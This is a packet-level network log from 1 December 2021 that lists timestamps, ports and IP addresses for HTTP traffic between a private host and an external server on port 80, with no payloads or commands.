Dec 1, 2021 10:05:02.142215014 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142236948 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142258883 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142278910 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142301083 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142324924 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142348051 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142365932 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142383099 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142386913 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142400026 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142411947 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142417908 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142427921 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142436981 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142455101 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142462969 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142473936 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142487049 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142491102 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142508984 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142527103 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142543077 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142544031 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142564058 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142581940 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142589092 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142601013 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142616987 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142620087 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142637014 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142657042 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142677069 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142679930 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142698050 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142709017 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142716885 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142735004 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142746925 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142754078 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142771959 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142790079 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142790079 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142810106 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142822981 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142827988 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142846107 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142864943 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142867088 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142883062 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142895937 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142900944 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142920017 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142935991 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142939091 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142954111 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142965078 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.142971992 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142988920 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.142996073 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.143006086 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143022060 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143028975 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.143040895 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143059015 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143074989 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143075943 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.143093109 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143100977 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.143110037 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143127918 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143135071 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.143146038 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143162966 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143172026 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.143179893 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143198013 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143202066 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.143213987 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143229961 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143246889 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143261909 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143264055 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.143280029 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143296003 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143312931 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143312931 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.143331051 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143347025 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143347979 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.143362999 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143373966 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.143383026 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143399000 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143414974 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143424988 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.143429995 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143448114 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.143469095 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.174952030 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.201534986 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201570034 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201582909 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201600075 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201617956 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201637030 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201653004 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201670885 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201689005 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201704979 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201723099 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201721907 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.201740980 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201757908 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201773882 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201793909 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.201795101 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201813936 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201831102 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.201832056 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201852083 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201858997 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.201869965 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201889038 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201899052 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.201905012 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201922894 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201936007 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.201945066 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201963902 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.201968908 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.201993942 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202014923 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202016115 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202033043 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202052116 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202056885 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202070951 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202088118 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202095985 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202106953 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202124119 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202131033 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202142000 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202157974 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202168941 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202176094 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202193022 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202199936 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202212095 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202229023 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202245951 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202253103 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202264071 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202281952 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202287912 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202297926 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202316046 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202316999 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202334881 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202342033 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202353001 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202370882 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202378035 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202390909 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202408075 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202418089 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202426910 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202444077 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202450991 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202464104 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202481985 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202497959 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202508926 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202514887 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202532053 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202548027 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202548981 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202567101 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202581882 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202599049 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202606916 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202616930 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202634096 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202645063 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202650070 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202666998 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202675104 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202683926 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202702045 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202708006 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202718019 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202730894 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202735901 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202753067 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202769995 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202773094 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202788115 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202805042 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202811956 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202821970 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202840090 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.202842951 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.202867031 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.203116894 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.232956886 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.232994080 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.233047962 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.250245094 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.260730982 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.260766983 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.260786057 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.260804892 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.260822058 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.260840893 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.260843992 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.260873079 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.260891914 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.260909081 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.260926008 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.260929108 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.260943890 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.260962009 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.260966063 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.260981083 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.260998964 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261015892 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261018038 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261034012 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261051893 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261070013 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261076927 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261089087 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261107922 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261118889 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261126995 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261145115 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261147022 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261162996 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261171103 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261182070 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261198997 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261208057 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261217117 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261233091 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261245012 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261251926 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261269093 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261276960 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261286974 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261305094 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261328936 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261331081 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261347055 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261364937 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261368990 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261383057 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261400938 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261401892 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261420965 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261426926 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261437893 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261456013 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261464119 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261476040 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261492968 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261501074 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261512995 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261529922 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261547089 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261555910 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261565924 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261583090 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261594057 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261600971 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261619091 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261621952 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261636972 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261643887 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261656046 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261673927 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261682987 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261692047 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261710882 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261727095 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261744976 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261754036 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261763096 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261779070 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261785984 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261797905 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261811972 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261816025 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261833906 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261852980 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261868000 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261868954 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261888027 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261904955 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261908054 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261923075 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261926889 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261940956 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261957884 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261970043 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.261976004 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.261993885 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.262010098 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.262018919 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.262027979 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.262046099 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.262047052 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.262067080 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.262068987 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.262084961 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.262101889 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.262113094 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.262120008 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.262150049 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.262295961 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.269139051 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.290985107 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.291014910 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.291117907 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.307802916 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320010900 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320045948 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320065022 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320081949 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320097923 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320115089 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320132017 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320147991 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320166111 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320172071 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320183992 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320203066 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320219994 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320233107 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320238113 CET	80	49836	95.213.165.249	192.168.2.3
